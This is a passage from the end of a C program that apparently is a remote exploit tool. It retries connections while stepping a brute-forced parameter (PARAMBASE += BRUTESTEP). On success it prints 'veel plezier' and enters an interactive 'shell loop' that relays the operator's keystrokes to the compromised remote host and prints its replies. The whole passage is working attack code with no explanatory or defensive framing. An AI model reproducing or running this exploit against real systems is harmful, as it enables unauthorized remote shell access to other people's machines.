  787.  
  788.  if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)
  789.  { if (close(fd) == -1)
  790.   { fprintf(stderr, "close() failed, reason: '%s' (code %i)\n",
  791. strerror(errno), errno);
  792.   exit(-errno);
  793.   }
  794.   PARAMBASE += BRUTESTEP;
  795.   continue;
  796.  }
  797.  
  798.  printf("\n\n** veel plezier.\n\n");
  799.  
  800.  FD_ZERO(&readfds);
  801.  while (!userbreak)
  802.  { FD_SET(fileno(stdin), &readfds);
  803.   FD_SET(fd, &readfds);
  804.  
  805.   if (select(fd + 1, &readfds, NULL, NULL, NULL) < 0)
  806.   { fprintf(stderr, "shell loop aborted because of error code %i
  807. ('%s')\n", errno, strerror(errno));
  808.   break;
  809.   }
  810.  
  811.   if (FD_ISSET(fileno(stdin), &readfds))
  812.   { int writelen;
  813.  
  814.   readlen = read(fileno(stdin), readbuf, sizeof (readbuf));
  815.   if (readlen == -1)
  816.   { fprintf(stderr, "read() failed with error code %i ('%s')\n", errno,
  817. strerror(errno));
  818.    exit(-1);
  819.   }
  820.   if ((writelen = write(fd, readbuf, readlen)) == -1)
  821.   { fprintf(stderr, "write() failed with error code %i ('%s')\n", errno,
  822. strerror(errno));
  823.    exit(-1);
  824.   }
  825.   FD_ZERO(&readfds);
  826.   continue;
  827.   }
  828.   if (FD_ISSET(fd, &readfds))
  829.   { if ((readlen = read(fd, readbuf, sizeof (readbuf))) == -1)
  830.   { fprintf(stderr, "shell loop aborted because of error code %i
  831. ('%s')\n", errno, strerror(errno));
  832.    break;
  833.   }
  834.   write(fileno(stderr), readbuf, readlen);
  835.   FD_ZERO(&readfds);
  836.   continue;
  837.   }
  838.  }
  839.  
  840.  }
  841.  
  842.  printf("user break.\n");
  843.  signal(SIGINT, SIG_DFL);
  844.  
  845.  return 0;
  846. }
  847.